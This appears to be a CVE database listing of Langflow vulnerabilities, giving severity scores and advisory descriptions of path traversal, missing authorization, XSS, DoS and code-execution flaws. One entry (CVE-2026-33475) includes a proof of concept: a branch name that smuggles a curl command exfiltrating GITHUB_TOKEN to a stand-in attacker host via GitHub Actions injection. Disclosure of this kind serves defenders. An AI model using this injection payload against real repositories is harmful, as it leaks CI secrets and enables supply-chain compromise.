Total
75 CVE
| CVE | Vendors | Products | Updated | CVSS v2 | CVSS v3 |
|---|---|---|---|---|---|
| CVE-2026-12822 | 1 Langflow | 1 Langflow | 2026-06-26 | 4.3 MEDIUM | 5.3 MEDIUM |
| A vulnerability was identified in langflow-ai langflow up to 1.9.3. This affects an unknown function of the component Bundle URL Loader. The manipulation leads to code injection. The attack needs to be performed locally. The vendor was contacted early about this disclosure but did not respond in any way. | |||||
| CVE-2026-55447 | 1 Langflow | 1 Langflow | 2026-06-24 | N/A | 9.6 CRITICAL |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, by controlling a files that are digested into the RAG, an attacker can direct the node to read any file on the file-system by absolute path. All components based on BaseFileComponent are vulnerable to the vulnerability. This includes Docling (DoclingInlineComponent), Docling Serve, DoclingRemoteComponent), Read File (FileComponent), NVIDIA Retriever Extraction (NvidiaIngestComponent), Video File (VideoFileComponent), and Unstructured API (UnstructuredComponent). This vulnerability is fixed in 1.9.2. | |||||
| CVE-2026-55450 | 1 Langflow | 1 Langflow | 2026-06-24 | N/A | 9.3 CRITICAL |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.1, unauthenticated users can upload any amount of data to the server without any limitations. No need for any prior knowledge, only network access to Langflow. This can lead to space exhaustion on the server. In addition, in the response, the absolute path of the uploaded file is reported to the attacker, which is an information leak that can assist in chaining other primitives. This vulnerability is fixed in 1.9.1. | |||||
| CVE-2026-55446 | 1 Langflow | 1 Langflow | 2026-06-24 | N/A | 7.5 HIGH |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.0.19, an attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. This vulnerability is fixed in 1.0.19. | |||||
| CVE-2026-55423 | 1 Langflow | 1 Langflow | 2026-06-24 | N/A | 6.1 MEDIUM |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.7.0, the logout button does not clear the session. The previous user stays logged in unless another user explicitly logs in. This vulnerability is fixed in 1.7.0. | |||||
| CVE-2026-7787 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 7.5 HIGH |
| IBM Langflow OSS 1.0.0 through 1.9.1 could allow an authenticated user to read or modify sensitive information by bypassing authentication using insecure direct object references. | |||||
| CVE-2026-7528 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 7.1 HIGH |
| IBM Langflow OSS 1.0.0 through 1.9.0 could allow a denial of service due to uncontrolled resource consumption. | |||||
| CVE-2026-7524 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 9.8 CRITICAL |
| IBM Langflow OSS 1.0.0 through 1.9.1 could allow remote code execution due to improper validation of symbolic links during archive extraction. | |||||
| CVE-2026-6542 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 6.5 MEDIUM |
| IBM Langflow OSS 1.0.0 through 1.8.4 could allow any user to supply a flow_id to read transaction logs and vertex build data belonging to other users, and to delete persisted vertex build data for another user's flow. | |||||
| CVE-2026-5026 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 5.4 MEDIUM |
| The '/api/v1/files/images/{flow_id}/{file_name}' endpoint serves SVG files with the 'image/svg+xml' content type without sanitizing their content. Since SVG files can contain embedded JavaScript, an attacker can upload a malicious SVG that executes arbitrary JavaScript when viewed by other users, leading to stored cross-site scripting (XSS). This allows stealing authentication tokens stored in cookies, including JWT access and refresh tokens. | |||||
| CVE-2026-5025 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 6.5 MEDIUM |
| The '/logs' and '/logs-stream' endpoints in the log router allow any authenticated user to read the full application log buffer. These endpoints only require basic authentication ('get_current_active_user') without any privilege checks (e.g., 'is_superuser'). | |||||
| CVE-2026-5022 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 5.3 MEDIUM |
| The '/api/v1/files/images/{flow_id}/{file_name}' endpoint does not enforce any authentication or authorization checks, allowing any unauthenticated user to download images belonging to any flow by knowing (or guessing) the flow ID and file name. | |||||
| CVE-2026-42048 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 9.6 CRITICAL |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, Langflow is vulnerable to Path Traversal in the Knowledge Bases API (DELETE /api/v1/knowledge_bases). This occurs because user-supplied knowledge base names are concatenated directly into file paths without proper sanitization or boundary validation. An authenticated attacker can exploit this flaw to delete arbitrary directories anywhere on the server's filesystem, leading to data loss and potential service disruption. This vulnerability is fixed in 1.9.0. | |||||
| CVE-2026-34046 | 1 Langflow | 2 Langflow, Langflow-base | 2026-06-17 | N/A | 8.8 HIGH |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.5.1, the `_read_flow` helper in `src/backend/base/langflow/api/v1/flows.py` branched on the `AUTO_LOGIN` setting to decide whether to filter by `user_id`. When `AUTO_LOGIN` was `False` (i.e., authentication was enabled), neither branch enforced an ownership check — the query returned any flow matching the given UUID regardless of who owned it. This allowed any authenticated user to read any other user's flow, including embedded plaintext API keys; modify the logic of another user's AI agents, and/or delete flows belonging to other users. The vulnerability was introduced by the conditional logic that was meant to accommodate public/example flows (those with `user_id = NULL`) under auto-login mode, but inadvertently left the authenticated path without an ownership filter. The fix in version 1.5.1 removes the `AUTO_LOGIN` conditional entirely and unconditionally scopes the query to the requesting user. | |||||
| CVE-2026-33873 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 9.9 CRITICAL |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.9.0, the Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. Version 1.9.0 fixes the issue. | |||||
| CVE-2026-33497 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 7.5 HIGH |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.1, in the download_profile_picture function of the /profile_pictures/{folder_name}/{file_name} endpoint, the folder_name and file_name parameters are not strictly filtered, which allows the secret_key to be read across directories. Version 1.7.1 contains a patch. | |||||
| CVE-2026-33484 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 7.5 HIGH |
| Langflow is a tool for building and deploying AI-powered agents and workflows. In versions 1.0.0 through 1.8.1, the `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Version 1.9.0 contains a patch. | |||||
| CVE-2026-33475 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 9.1 CRITICAL |
| Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml` | |||||
| CVE-2026-33309 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 9.9 CRITICAL |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix. | |||||
| CVE-2026-33053 | 1 Langflow | 1 Langflow | 2026-06-17 | N/A | 8.8 HIGH |
| Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the delete_api_key_route() endpoint accepts an api_key_id path parameter and deletes it with only a generic authentication check (get_current_active_user dependency). However, the delete_api_key() CRUD function does NOT verify that the API key belongs to the current user before deletion. | |||||